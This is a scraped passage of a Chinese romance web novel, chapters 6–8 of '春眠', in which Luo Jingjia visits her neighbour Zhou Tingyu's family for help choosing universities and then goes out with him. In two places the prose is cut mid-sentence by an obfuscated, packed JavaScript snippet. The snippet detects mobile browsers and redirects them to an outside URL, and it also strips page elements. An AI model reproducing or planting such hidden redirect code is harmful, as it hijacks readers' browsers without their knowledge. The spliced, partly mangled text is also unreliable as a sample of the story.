骆静佳拿起来看,飘逸粗犷的一行大字。 “请你喝。” 骆静佳心下一动。 她刚才给他舀了好多勺珍珠…… 她把小票揉碎,在收拾卫生的时候丢进垃圾桶里,一起抛到了后厨开门出去的小巷里。 结果一拉开门,就看到靠在那里玩手机的周庭裕。 四目相对,他率先开口。 倒听不出尴尬,声音清朗:“原来这扇门真的可以打开。” 骆静佳莫名其妙:“你在这里干什么?” “等你下班啊。”他的理所当然让人不爽。 连带着刚才那句“请你喝”一起,让骆静佳有种无事献殷勤的感觉。 如果只是因为夺走了她的员工福利,那大可不必。 太注重有来有回,反而让关系没有了可以黏连的节点。 周庭裕等着她问“为什么”,他好回答“刷好感度”。 结果骆静佳什么也没问,只说:“稍等,还要再十分钟。” 他愣了下,点头:“好。” 她非常守时,十分钟后,周庭裕看着那个塌塌的头弯下去锁门。 鉴于昨天的沉默,今天他主动找话题:“说真的你们家的黑糖珍珠牛乳真好喝,好喝到我都快睡觉了还想过来点一杯。” 骆静佳手里提着打包袋,闻言,停下脚步。 “那还你。” “……”他额角青筋跳了跳,“我不是这个意思。” “不过你怎么不喝啊?” “晚上不是很想喝。”话毕,骆静佳突然意识到自己的话有点不合时宜。 她礼貌地改口:“还有,因为太甜了。” 周庭裕似信非信地“嗯?”了一声,回忆起来:“我记得你以前特别爱吃我妈做的蛋糕,那时候不觉得甜吗?”隋鸢可是放了致死量的糖。 “还好。”骆静佳想起那个味道,其实刚刚好。 说到这个,她其实有一个问题。 既然是周庭裕先问的,那她反问回去,不奇怪吧? “阿姨说你以前最不喜欢的就是甜食,其实是不喜欢砂糖吗?”黑糖他就接受良好。 “不是。”他笑了。 “以前在装酷而已。” 6. 春眠(6) 装酷吗? 关了灯的房间并没有完全陷入黑暗,因为害怕老人半夜有什么突发情况,所以总会留有一盏夜灯。 骆静佳把放在眼睛上的手腕移开,回忆着周庭裕当时的语气。 在只有呼吸声和风扇嗡嗡作响的夜晚里,他坦然又直率的话,让她意外,又不那么意外。 意外的是自己被“骗”了这么久。 不意外的是他勇于承认的诚实。 她不由得思考起一个问题,过去她从来没有认真想过的事情。 他究竟是怎样一个人呢? 骆静佳还记得自己第一次和他产生交集的时候,那时候自己好像才三、四岁? 虽然当时周围年纪差不多的孩子都已经上学了,但是碍于骆静佳的身体不太好,所以父母一直犹豫不决。 后来是听人说,让孩子多沾点人气,说不定会好。再加上家里经济吃紧,林素萍也一直想重新工作,所以狠下心把她送到了幼儿园。 不过刚去上学没几天,骆静佳就成了附属幼儿园的名人。 大部分孩子都是哭个几天就能适应了,但她足足哭了半个月。 入园前老师们听说她是个孱弱瘦小的孩子,结果两个人合力都掰不开她拽林素萍衣角的手。 每天早上送她过来,都要在门口上演一场生离死别。 别的小朋友都开始吃早餐、做早操了,骆静佳还哽咽着拽着铁栏门不肯挪。 老师们使尽浑身解数,但都拿她没办法。只好锁紧门,保证她没法偷跑后,任由她坐在那里。 周庭裕就是这个时候出现的。 小男孩脚尖往上顶,脚腕兜着个足球跑过来。 本来是要一脚踢飞出去的,但是看到她,不知道为什么停了下来。 骆静佳因为生病,很少出门,大部分时间都是趴在五楼的阳台看楼下的小朋友们玩。 她认不得那些人的脸,却认得出头。 隋鸢时髦,别人剃头都是在星河巷巷口十块钱一次,周庭裕却是被带去美容美发二合一的店里享受超高级服务。 虽然男生的头发没太大的发挥空间,但差价买的是设计,周庭裕鬓角那串英语非常显眼,骆静佳一下子就记住了。 他端详了她一会儿,才开口:“你在这里干什么?” 骆静佳没理他。 “没有老师管你吗?” 骆静佳吸了吸鼻子,想当刚才老师走的时候气急败坏的那句“你这么不听话,我要去找别的小朋友”,嘴巴蓦地扁成小鸭子。 周庭裕应该是经常闯祸,对这种委屈的表情很敏锐,他登时诶了一声:“你别哭啊!” 骆静佳已经在擦眼泪了。 他赶忙说:“你哭什么?我的意思是我好羡慕你啊,又不用上课,又不用吃难吃的早餐……” 骆静佳充耳不闻,换了个方向坐。 日头渐移,她又等了一会儿,才听到足球滚走的声音。 骆静佳不知道他是有心还是无意,总之周庭裕的驻足让她人生第一次意识到了什么叫“丢人”,并以此为契机,第二天乖乖跟老师走进了教室。 可幸又可惜的是,她并没有在自己班上见过周庭裕。 - 成绩出来以后,家里人都吃了一颗定心丸,但是紧接而来的就是填报志愿的难关。 父母都没上过大学,也不知道现在的高考制度具体改革成什么样了,骆振国那天还问她:“是不是在学校就已经填完了?我记得是先填志愿再出分的吧?” 骆静佳告诉他那是好几年前的事情了。 她一边翻志愿书,一边承受着林素萍搭在她的肩膀上的重量。 骆静佳每往草稿纸上写一个代码,妈妈都会问:“这所学校在哪里啊?离家远不远?” 她压着心头那点不耐和烦躁,无奈道:“妈,如果跑远一点能上一个更好的学校的话,那我宁愿远一点。” 林素萍顿时不乐意了:“你说的这是什么话?哪个做父母的不想孩子留在自己身边啊?我看你填南大就很好啊,就在南城,你平时回家也方便。再说了,你舍得离开爸爸妈妈啊?” 骆静佳的分数足够她填国内靠前的985,而南大只是一所普通一本。 无论是以前还是现在,她都没有考虑过南大。 而且择校并不只是看地理位置那么简单,专业、师资、校区、住宿环境……这些都让骆静佳一个头两个大。 林素萍只会说“这是一辈子的事”,却没有一点谨慎客观的态度。 骆静佳把书一合,决定暂时搁置这件事。 等她发工资买了手机、和分数差不多的同学讨论过、咨询完老师的意见以后再做决定也不迟。 林素萍不知道她自己已经计划好了,见女儿一脸苦闷,顿时想到一个人:“要不,你去问问周庭裕?” 骆静佳几不可察地皱皱眉。 她不喜欢麻烦别人——这既是骆振国的基因在作祟,也受林素萍唯利是图的做派给她留下的阴影所影响。 无论在背后说了别人多少是非,无论心里对那个人的看法如何,只要能派得上用场,林素萍都会“不拘小节”地拜托。 事后怎么回馈是一回事,理所当然又是另一回事。 骆静佳没同意,但是也不知道怎么拒绝,因为林素萍是不会善罢甘休的。 果然,下午她就买了一篮子时令水果,还全是超市盒装,推着骆静佳下楼。 “周庭裕的妹妹不是来这过暑假吗?总不好只准备她哥哥的。去去去,记得把志愿书带上啊。” 骆静佳看着盒子上的标签,刚才她提议洗好了再拿下去,林素萍说哪有这样的,像自己家吃剩的似的,不够郑重。 其实骆静佳知道,林素萍是想故意露出金额。 她为妈妈的小心思而感到不好意思,这股情绪在见到来开门的隋鸢以后,更是厚重。 隋鸢看看她,又看看水果,脸上了然:“快进来吧!来找阿裕是吗?他还没起床呢。” “等着啊,我帮你叫他。” 隋鸢速度之快,骆静佳的嘴都还没来得及张开,更别提那句“不用了”。 敲门的砰砰声和隋安玩保卫萝卜的音效混在一起,骆静佳站在沙发边,坐也不是走也不是。 隋鸢耐心不多,直接推开门:“快起来!有事找你!” 骆静佳听到那门缝里飘出来一句嘶哑低沉的抱怨:“搞什么啊……” 隋鸢趿着拖鞋转身,招呼她坐:“稍等啊,这臭小子赖床的毛病十年如一日。” “我想着你是要来的,前几天还想问你。你和阿裕一个学校,成绩也差不多,填志愿这事他有经验,应该能帮到你。” 骆静佳刚想回答,就被吓了一跳。 周庭裕顶着个鸡窝头,下半身还盖着被子,像从地狱里爬出来的水鬼一样,拖长脖子、朝着客厅说了句:“我能帮什么啊?” 他打了个哈欠:“她是理科生,我是文科生,分数线都不一样。” 隋鸢看他这副邋遢的样子,气不打一处来,端茶走向骆静佳,中途扭头瞪他:“那也有很多信息可以分享啊!你去年不是在网上找了很多资料吗?都拿给佳佳看看嘛。” 骆静佳垂着头,不好看别人家的乐子。 隋安突然跟她说:“我哥可是电二代哦。” 骆静佳眨眨眼:“什么是电二代?” “就是同时拥有电脑、手机、平板、音响、电子手表、降噪耳机的人啊,姐姐你连这都不知道?” 骆静佳笑笑:“谢谢你告诉我。” 隋安一脸得意:“不客气!” 谈笑间隋鸢已经倒好了茶,骆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394635|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静佳才接过,周庭裕就已经洗漱完了。 用出水芙蓉去形容一个洗脸洗到额发和胸口都被打湿的成年男人或许不太合适。 但骆静佳匆匆一瞥,就望见一颗接一颗的水珠沿着他清俊且英挺的眉眼而落。 她忙不迭地移开视线,可余光还是不受控地目睹了其中一颗水珠溜过他淡色的唇瓣。 最近几次见面,不是远距离就是在夜里,骆静佳其实从未好好观察过他的长相,只有一个笼统的印象——张扬。 现在近观,才发现他很矛盾。 拥有极具冲击力的利落眉眼,单看双眸和鼻梁会让人觉得成熟且锋利。 可那微微突起的唇珠却委婉地中和掉了这种锐感,给他增添了几分内敛的少年感。 隋鸢递过来的杯子帮了她大忙。 骆静佳把下半张脸埋进雕花陶瓷杯里,却没办法把听觉和嗅觉也埋进去。 周庭裕逐渐靠近时所带来的气息像是锁定她似的,直面扑来。 青柠或者薄荷的味道,比手里这杯冰镇过的冷泡茶更沁人心脾。 “所以你现在进行到哪一步了?” 她坐在沙发的最右侧,靠着扶手。 周庭裕便在扶手边停下,歪肩,单手撑着椅背。 “啊。”骆静佳被笼罩,反应了一下才说,“才刚刚开始。” 周庭裕把风扇拨过来,对着自己吹:“优先考虑专业还是考虑城市?” “都考虑。” 他沉默了,表情有些耐人寻味:“你分挺高啊。” 骆静佳噎了一下。 站在她面前的是上一届的文科状元、学校里的风云人物、德智体美劳全面发展的优秀之星……这样的人说这样的话,未免有些阴阳怪气了。 周庭裕却不觉有他,且隋鸢也没反应。 如果不合时宜,他妈早就瞪他了。 骆静佳又喝了口茶,才答:“还行。” “别这么谦虚嘛。”见她没有一点要告诉自己分数的意思,周庭裕有点郁闷。 空调加风扇吹得他起了一手鸡皮疙瘩,更何况他衣服还湿了。 他跟骆静佳说:“等着。”转身回卧室换衣服去了。 隋鸢的眼睛从电视机移开,根本没听他们刚才的对话。看到儿子进了房间,会错意地给骆静佳使了个眼色:“他那些资料都在里面呢,佳佳你跟着一起进去吧。” 骆静佳的眼眶有那么一瞬间狠狠张大。 她沉吟了几秒,屁股跟坐到粘鼠板似的,挣扎了好久才起来:“好……” 周庭裕没想到骆静佳会跟过来,只半掩了房门。 南城潮湿,常用衣服不敢久放,他这次回来就一个行李箱,短袖没装几件,不是洗了就是在外面晾着,周庭裕弯腰找了半天,实在是找不到能穿的了。 他裸着上半身,叉腰叹了口气,结果身后突然吱呀一声,吓了他一大跳。 回头一看,一声“我草”像坐溜滑梯似的从口中排出。 骆静佳也吓了一大跳。 入目就是男性的裸.体,尽管观赏性极强,但惊吓成分更多。且他卧室这个门实在太丝滑了,轻轻一点就整扇门往后扬,撞到门吸还发出砰的一声。 她猛地转头,语气迅速地说了声:“对不起——” 骆静佳紧紧地闭上眼,睫毛都在打颤。 比起周庭裕条件反射的国粹,她作为占便宜的一方,此时正在心里默念:阿弥陀佛……粉色的……阿弥陀佛……八块腹肌……阿弥陀佛……他怎么没有腋毛? 天呐,菩萨保佑。 她真的不是故意看的,也不是故意不忘记的。只是人越想怎样,就越不能而已。 周庭裕手忙脚乱地捡了件老头背心穿上,胸肌撑得有点紧,他垂头看了眼,差点晕过去—— 凸点了。 7. 春眠(7) 周庭裕出来的时候,是捂着胸出来的。 他继承了隋鸢的冷白皮,燥动时肌肤有种红里透粉的通透感,从脸到脖子没一个地方是平时的颜色。 耳廓更是夸张,骆静佳被他的咳嗽提醒,回头时差点怀疑他是不是被煮熟了。 他一脸羞赧,一手横在胸前捂住奶,一手给她递参考资料。 骆静佳没立刻接。 因为他这个姿势过于防备,仿佛经受了什么奇耻大辱。 可她又不是故意的。 究其根本,要怪他自己不锁门。 见她不动,周庭裕又把手往前伸了伸。 他死死地站在门内,不肯踏出来一步,好像面前站着的人是洪水猛兽。 骆静佳心里不爽,但求人办事,还是摆出礼貌的态度来:“谢谢。” “……不客气。” 见她折返客厅,周庭裕蓦地松了口气。 骆静佳听到了,愧疚化作一股微妙的恼意。 只是被看了上半身,有必要吗? 锁上门,周庭裕松手在镜子前照了又照,针织材质的背心修身又贴肤,两边顶起来的圆点非常明显。 他心里默念,还好还好,她没看到! 不然也太不雅,太有损他的形象了! - 静谧的午后,室内开着温度适宜的空调,电视里在播放浪漫感人的韩剧。 脱离母语环境听人对话,注意力会更集中在音调和语气上,那种分手前夕的不舍和痛苦,令人闻之落泪。 骆静佳听到隋鸢吸了吸鼻子,她也忍不住吸了吸。 却不是觉得冷,也不是感同身受,而是客厅里弥漫着的淡淡香气令她沉迷。 骆静佳第一次光明正大地坐在周家的客厅里,不用担心被发现、被责备,或是祸及他人。 过去的蛋糕虽然甜蜜,但因为那时的提心吊胆,尝起来总有种酸涩的味道。 骆静佳很少深刻地感受到“甘甜”。 当没关紧的阳台吹进一丝清风,将原本拉紧的扶风砂吹得鼓起时,那一刻,她仿佛才真正享受到了十八岁的夏天。 过了半个小时,隋鸢累了,要进房间休息。 她走时没收了隋安的手机,隋安在沙发上蹬腿大闹,不小心踢到了正在看资料的骆静佳。 气得隋鸢当即摆出严母架势,边让她给姐姐道歉,边把人提进房间修理。 主卧和次卧就隔了一堵墙,周庭裕听到动静,出来查看。 发现客厅里只剩骆静佳一个人,他愣了愣。 骆静佳和他对视后,没什么反应地垂下头,继续看资料,时不时用一下隋鸢借给她的电脑进行搜索。 周庭裕看着她这幅不咸不淡的样子,一噎。 嘶…… 有种被蔑视了的感觉是怎么回事? 他站在主卧和次卧之间,挠了挠头,在去解救隋安和招呼客人两个选项里,选择了后者。 “因为我当时已经决定北上,所以选的基本上都是北方的学校,不知道能不能帮上你。”周庭裕假装什么也没发生过,盘膝而坐,和骆静佳面对面。 骆静佳头也没抬:“北方名校多,我的大部分志愿也是在北方。” “是吗。”他被她冷淡的态度伤到,换了个坐姿,双臂往后撑,仰头道,“能具体一点吗。” “什么?” “什么都是。”周庭裕说,“梦想、分数、专业、城市、包括选择的原因,这些你都可以和我说一说吧?好歹我也是你的‘参谋长’,你什么都不告诉我,我怎么帮你做功课?” 他很少和自己说这么多话。 但是骆静佳知道,他天生就是个话多的人。 她高一负责西边教学楼的公区,每周三去值日,回到教室的时候总会经过他们班。 骆静佳经常听见课代表或者老师骂他:“周庭裕,你到底是在读书还是在讲话?” 少年如何回答,并不在她短暂路过时可听到的范围里。 不过随即的哄堂大笑,却缠着她的脚步,让她好奇,也让她……嫉妒。 她不知道她是嫉妒周庭裕能够转换气氛的能力,还是嫉妒享受到他带来的笑声的同学。 然而当下和他面对面,深刻感受以后,骆静佳并没有得偿所愿的感觉。 反而有点讨厌。 讨厌他的幽默和体贴已经被无数个人享用过了,讨厌他对待自己的方式和其他人没什么两样。 对此,骆静佳沉默了。 周庭裕等了等,没等到回答,反而等来了她恍若失聪的漠然表情。 他一下坐直,难以置信—— 他又哪里惹到她了! 就在这时,主卧的门突然传来响动,隋安哭哭啼啼地跑出来,直奔周庭裕,边跑两只小手还边抹眼泪。 周庭裕接住她:“怎么了?挨打了?” 隋鸢站在门缝里,额发都落下来一缕,一副心焦力瘁的样子:“你就和你田叔叔一起惯着她吧!然后气死我!” 说完她就砰地甩上了门。 田彰是周庭裕的继父。 听到这个称呼,骆静佳用余光瞄了周庭裕一眼。 可惜他正忙着安慰“战败”的隋安,侧过了身,隐没了表情。 过了两分钟,周庭裕去阳台收晒干的短袖,换好后牵着隋安起来。经过沙发时问她:“我带她去买冰激淋,你想吃什么?” 骆静佳愣了一秒,道:“我不用了。” “行。” 关门声从身后传来,房间里的隋鸢也听到了。 她打开门,一脸如释重负。且一改刚才的严厉,笑着对骆静佳说:“都中午了,你要不要留下来吃饭?反正还有那么多资料没看完,吃完饭在这里休息一会儿,方便继续看。” 骆静佳条件反射地想说不用,但是隋鸢一说到下午,她就想起来了。 她今天调休了,不用去上班。 但是她没跟林素萍说。 她不在家吃饭的时候,林素萍总是将就对付。如果她现在突然回家,林素萍肯定要出去买菜。 外面日头正盛,南城的暑气可是能蒸人的。 骆静佳想了想,点点头:“好,麻烦阿姨了。” 隋鸢见她同意,心情很好:“好呀,那我打电话给阿裕,让他顺便买点菜回来。你要不要上楼和你妈妈说一声?” 骆静佳已经站起来了:“我这就去。” 隋鸢见她一副战战兢兢的样子,看着她的背影叹了口气。 如果隋安能有骆静佳一半听话,该有多好? 但也只要一半就好。 骆静佳站在四楼,做了两个深呼吸,突然铆足了劲,冲回家。 林素萍看到她气喘吁吁的样子,吓了一跳:“干嘛突然这么上火?怎么了?周家人把你赶出来了?” 无心反驳妈妈阴暗的揣测,骆静佳薅起帆布包就走:“我下午有班,差点忘记了。” “哦,那你注意安全,晚上早点回来啊!” “知道了——” 砰。 关上门,骆静佳的胸腔急速起伏。 回到三楼,隋鸢问她林素萍怎么说。 骆静佳撒谎了:“她说好的,还让我谢谢你。” 隋鸢没说什么,但是备菜的时候哼起歌来。 骆静佳的心却仿佛被放进了油锅里,煎完这面煎那面,眼看就要焦了—— 她脸上突然一冰。 与此同时,女孩蹦蹦跳跳的脚步声擦过耳边,含着旺旺碎冰冰的隋安扑进隋鸢怀里,撒娇道歉。 骆静佳扭头,刚好看到周庭裕收回作弄她的手,转而向她递来。 她反应慢了半拍,看着可爱多三个字,问了句:“什么?” “给你的,蓝莓黑巧味。”周庭裕说。 “我觉得最好吃的口味,不知道你会不会喜欢。”他耳根又红透了。不知道是在外面晒的,还是没做过热脸贴冷屁股的事情,周庭裕难得局促:“不喜欢就丢掉吧,不用勉强。” 毕竟人家都说过不用了。 他又在这里自作多情、强买强卖…… 可意外地,骆静佳接受了。 并且诚恳地跟他说了声:“谢谢。” 周庭裕懵了。 虽然她没做什么大表情,甚至连个笑容都没有,但是他就是感受到了,那种不同于敷衍、客套和礼貌的区别。 那边的母女在演合家欢,这边的周庭裕感觉自己脑子里好像在放偶像剧——情节类似于女主此刻其实很想很想吃冰激淋,但是碍于礼貌不好开口,结果男主误打误撞满足了她的愿望,进而闯入了她的心扉…… 停! 周庭裕蓦地睁大眼。 骆静佳早就把头扭回去了,在认真看专业代码。 他全身紧绷,冲向隋鸢,莫名其妙抱怨:“妈!你以后能不能别在家里外放韩剧了?隋安看到了多不好!” - 餐桌上难得坐满了四个人,隋鸢就喜欢热闹,一直问骆静佳合不合口味。 骆静佳回答了三次了,脸都有点笑僵了。 周庭裕喃喃道:“在别人家吃饭,就算不好吃也会说好吃吧。” 隋鸢在桌子下踹了他一脚。 骆静佳赶紧表诚:“是真的很好吃。” 隋安在旁边吃得满脸酱汁,闻言也跟着竖起大拇指:“是真的哦!” 隋鸢抽纸给她擦脸,回想起刚才的事,随口问道:“佳佳平时看韩剧吗?” “不怎么看。” “那古装剧、偶像剧、电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394636|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影呢?” “我家的电视一般是我奶奶和我妈妈在看,她们都爱看点本地新闻或者谍战片。” “哦,你们现在应该都不怎么看电视了吧,都是用电脑。” 骆静佳没说话。 隋鸢忘性大,周庭裕看了眼身后茶几上放着的笔记本,放下碗:“我吃饱了。” “就吃这么点?” “早餐没胃口。” 隋鸢翻了个白眼:“臭小子,简直是猫头鹰投胎。” 骆静佳笑了两声,不敢笑多,怕失礼。 吃完了骆静佳主动提出洗碗,隋鸢不让,让她去客厅坐着。 推搡间,隋鸢一把攥住骆静佳:“我电脑里有很多游戏,你可以趁这个机会玩一玩。” 骆静佳哭笑不得,坐回茶几和沙发的空隙里。 本来是要继续翻看她那些梦中情校的贴吧评价的,但或许是刚才饭桌上的氛围欢快,让她松懈下来,她竟也有种跃跃欲试的心情。 她点开一个图标,但是加载不出来。 猫头鹰蜷在沙发的另一侧,幽幽道:“先点上面那个加速器。” 骆静佳照做,顺利进入了游戏大厅。 她正在选择,周庭裕突然坐下来,坐到她旁边。 小臂有那么一瞬相贴,温热的触感给她带来的悸动不亚于刚才那个从天而降的冰激淋。 骆静佳呼吸一滞,有种被鸟喙啄了一下的感觉。 “诶,乖乖女。”他这次换了个称呼,可惜并没有比兔牙妹好听到哪里去,“你平时都靠什么解压啊?” 周庭裕大概知道她父母对她期望很高,但是骆静佳都放假这么久了,这种还停留在新手村的程度还是让他吃惊。 他们这个年纪,没有自己的手机和电脑都还算正常,但是没有好奇心,就有点不太正常了。 骆静佳回答:“看书。” “什么书,不会是教材吧?” “……小说、杂志之类的。”赵琳琅很多这种闲书,被没收了一本抽屉里还有十本。 周庭裕脸上流露出一丝欣慰:“还有呢?” “还有……听歌?” 她不知道算不算,因为她听来听去都是那几首。但是平时学习学累了,她确实会用MP3放松一下。 周庭裕没说话,手指飞快地操作着页面,骆静佳忍不住问:“你在干嘛?” 虚构女角色的头发和服装换了一套又一套。 他嘴打滑了:“给你穿衣服啊。” 水泼出去了才知道收不回来。 周庭裕闭了闭眼:“不是,我的意思是,给你待会要上场的人物,穿衣服。” 骆静佳:“我知道。” 她有眼睛,而且,她不近视。 不过,“你要玩吗?” 周庭裕还沉浸在自己失言的尴尬里,啊了一声,才说:“不玩。” 骆静佳更莫名了:“那为什么你要替我换装?”不应该是她自己选择吗。 周庭裕抹了把脸,松开鼠标:“对,你说得对。” 他往旁边一挪,火速滚蛋。 他发现他老是在骆静佳身上吃瘪。 而且这瘪大部分都是他自找的。 周庭裕无声哀嚎,总觉得以前树立的学长形象毁于一旦。 他承认自己有时候是在耍帅,但是不能接受意料之外的出糗! 他本想等骆静佳进入排位以后,以游戏高手的身份指点一下她,结果居然差点意外挖掘出一个电竞天才。 看到骆静佳终于因为失误而中枪倒地,周庭裕的眼眶才慢慢合拢。 他胆战心惊地问:“你真的第一次玩这个吗?平时会不会翘课去网吧?” “……”骆静佳皱着眉头用眼神询问,你在说什么? 周庭裕觉得此女日后必成大器。 他单手撑着脑袋,另一只手搭在茶几上,食指无意识地敲着桌面,实则已经汗流浃背。 他在思考,是要鼓励她,还是及时止损。 想当初,陈行逸那家伙就是染上了这个,导致成绩直线下降。 周庭裕想了又想,还没想出个所以然来,骆静佳就已经下一把了。 隋鸢好多皮肤,她好喜欢。 他咻地坐起来:“你刚才说什么来着,你还喜欢听歌是吧?” 骆静佳目不转睛,一边回答他一边射杀敌人:“对。” 周庭裕发现她的动态视力非常好,所谓露头就秒也不过如此。 他有点紧张地问:“你今天上班吗?” 骆静佳顿了顿,她其实是想在这里呆到晚上再回去的,不然不好跟林素萍解释。 所以她坦诚道:“不上,怎么了?” 周庭裕神神秘秘的:“那我带你去一个地方,好不好?” 8. 春眠(8) 骆静佳不是没有幻想过这个暑假,自己会和周庭裕出去玩。 毕竟有隋鸢的承诺在前,而她从来不是随口说说的那种家长。 她当然也有想过拒绝,但是把理由写在心里,下一秒又会被骤跃的心跳给震散。 后来看到隋安这么粘周庭裕,骆静佳不知道自己是松了一口气,还是叹了一口气——独处的可能几乎为零。 结果这个小数点一样的概率,居然发生了。 阳光灿烂的午后,她幻想了很多情景和场合,甚至还想过,周庭裕口中的“地方”说不定是他自己的房间。 毕竟他们刚才的对话提到了听歌,而他刚好又是个小收藏家。 但他说完之后就许久没动静,骆静佳记得自己明明说了可以。 为此她分心了,第二局结束得很快。 周庭裕靠在沙发上,看似玩手机,实则一直在偷窥她的操作。 见她屡屡失误,他不禁开始怀疑她刚才是不是匹配到人机了,所以才这么厉害。 退出赛局,骆静佳不想玩了。 她没看到新的好友验证,而周庭裕瞄到了,并且合理判断是上一局的队友,来骂人的。 他点了点骆静佳的肩膀:“鼠标给我。” 她正要松手,可被他要求,莫名有点憋闷。 周庭裕又滑下来坐,挤到电脑前,一副跃跃欲试的样子。 骆静佳不动声色地往旁边挪了挪,顺带把没看完的资料一起拿了过来。 ……想玩早说啊。 她又不是那种鸠占鹊巢的人。 下午一到三点是家属楼最安静的时间,哪怕是假期。 午睡是南城人的习惯,隋安入乡随俗,隋鸢陪她待着。空间安静下来,显得少年频繁敲打键盘的声音有点突兀。 骆静佳忍了又忍,期间看了他好几眼,他却浑不知收敛。 可她到底只是客人,而且吃人嘴软拿人手短,不好提要求。 又过了半小时,周庭裕突然把电脑屏幕转过来,对着她。 骆静佳皱眉:“什么?” 屏幕上显示的战绩她看不懂,但是和她刚才玩的好像不太一样。 他很快转回去:“没什么。” 但脸上写满了得意。 骆静佳猜他是想跟自己炫耀他的技术,以此证明他游戏也玩得很好。 幼稚…… 她在心里默念,翻过志愿书的时候弹了下纸张。 周庭裕浑然不知自己被如此认为。 他刚才和那个喷子魔法对轰三百回合,喷子不服,要单挑,结果还是他赢了。 他想给骆静佳体会一下这种爽感,但想了想,又怕她误入歧途,以后沉迷游戏。 静谧的夏日,他们分占在沙发左右,各自做事,各怀心思。 天色暗下来的时候,骆静佳已经整理得差不多了。 回过神来才发现,周庭裕一直在她旁边。 这是,在等她结束吗? 骆静佳抿了抿唇,想开口提醒他她可以了,但周庭裕垂着眸,握着手机一动不动,好像在认真浏览着什么。 她的手心撑在柔软的地毯上,试探性地倾了倾上半身。 他没反应。 骆静佳的睫毛在打颤,腕骨也跟着抖动,有些支撑不住这姿势了。她只好继续靠近。 第一次这样近距离观察他的侧脸,骆静佳新奇地发现他的鼻梁上有一颗小到肉眼难以察觉的痣。 与此同时,鼻尖那股淡淡的香气也越来越深刻,仿佛突然迸发的泉眼,冲击着她的嗅觉。 周庭裕的衣服和室内的香薰,是一个味道。 骆静佳低头,发现香气的来源好像是他的肩头,她越靠越近,马上就要找到了…… 周庭裕突然抽搐了一下。 “……” 他差点睡着了。 神志一瞬回笼,他扭头想看骆静佳走了没有,结果发现对方抬手捂着额头。 周庭裕大惊失色:“怎么了?” “没什么。” 被狗肘击了。 - 华灯初上时的南城终于散去几分暑气,骆静佳跟着周庭裕的影子后面,忍不住问:“我们不跟阿姨打声招呼就跑出来,真的可以吗?” 那人走在前面,头也不回,黑衣被开阔的肩膀撑得板正,双手插在碳灰牛仔裤的兜里,闻言伸出一只手挥了挥。 “真没事,你放一百个心。” 骆静佳不知道自己怎么放心,她的额头现在还在隐隐作痛。 但她也没办法计较。 谁让她鬼迷心窍。 她认命地跟着周庭裕穿越大街小巷,兜兜转转来到一条繁华的商业街,却不同于家属楼附近的农贸市场和中型商超,这边的店铺多是娱乐产业,且随处可见年轻面孔。 骆静佳过去走读的时候,每天两点一线,倒从未注意过南城还有这么个地方。 路过台球店的时候,门口站着几个边吸烟边开玩笑的高瘦青年,看着就不好惹。 结果周庭裕居然熟稔地和他们打了个招呼。 骆静佳脑子里冒出隋鸢的那句“你太乖了”,原来是因为周庭裕太坏了吗? 有人给他递烟,他摆摆手,并回头看了骆静佳一眼。 有人看到这条小尾巴,问他:“哟,这谁啊,怎么一直跟着你。” 周庭裕非常自然地说:“我妹。” “亲的还是认的?” “父母认识的那种。” 另一个人啧了一声,语气调侃:“那不是青梅竹马吗?” 周庭裕也没否认,路过而已,他摆摆手:“走了,有空再跟你解释。” “放假了多来玩啊,带上陈行逸。” 他随口应付了,扭头朝骆静佳伸了下手臂,意思是让她跟上来。 骆静佳的表情变得有些不对劲。 周庭裕眨眨眼:“干嘛?” 她本来想问他怎么会认识这些人,可想想,这人好像从小就不是听话孩子。 且读书期间结交狐朋狗友,也没影响学习。 再说了,她有什么身份问? 只好闷声纠错:“青梅竹马应该是很要好的。” 他明知故问:“我们不算要好吗?” 而她才不回答。 周庭裕笑了:“好好好,不是青梅竹马。那我比你大,说是你哥,不过分吧?” 骆静佳不悦的语气被周遭嘈杂的环境覆盖:“别占我便宜。” 周庭裕一愣,没忍住伸手揪了下她的马尾。 “你这人。”他看着骆静佳那双黑黝黝的眼睛,气得说不出话来,只憋出一句,“真是……不识好歹!” 又走了两百米,他终于说到了。 骆静佳抬眸,是一家酒吧。 招牌一个中文也没有,花体英语旁边是鸡尾酒的简笔画,搭配渐变霓虹灯,一看就不是学生应该来的地方。 她站在原地,跟石像似的动也不动,叫也不应,拉也不走。 周庭裕也不能把她搬起来,只好在人来人往的街口解释:“不是你想的那样!这是音乐餐厅,边吃东西边听人唱歌的地方!” 好不容易进来了,看到餐桌旁边的吧台后一整墙的酒瓶,骆静佳翻菜单的时候忍不住吹毛求疵:“但还是可以点酒。” 他刚和相识的服务员打完招呼,回过神来,却会错意:“你想喝?” “……” 骆静佳瞥了他一眼,他刚好抬手和她身后的酒保打招呼,错过了这道幽怨的视线。 这完全是交际花啊…… 骆静佳把菜单立起来,开始后悔和他出来了。 她看了半天也决定不了,因为菜名起得都太花里胡哨了,什么青龙卧雪、雪山飞狐、红灯区…… 周庭裕和她解释:“其实就是青瓜蘸白糖、炸虾片、辣子鸡丁。” 他拿过菜单,问了忌口,熟练地点好了菜。 骆静佳乖乖服从安排。 “还没到时间,估计上菜的时候就会有人过来唱歌了。”周庭裕看了下二楼半开放式的舞台,还没开灯呢。 骆静佳却有点忐忑:“到……我们面前唱吗?” 他勾唇,“你想得倒美。” 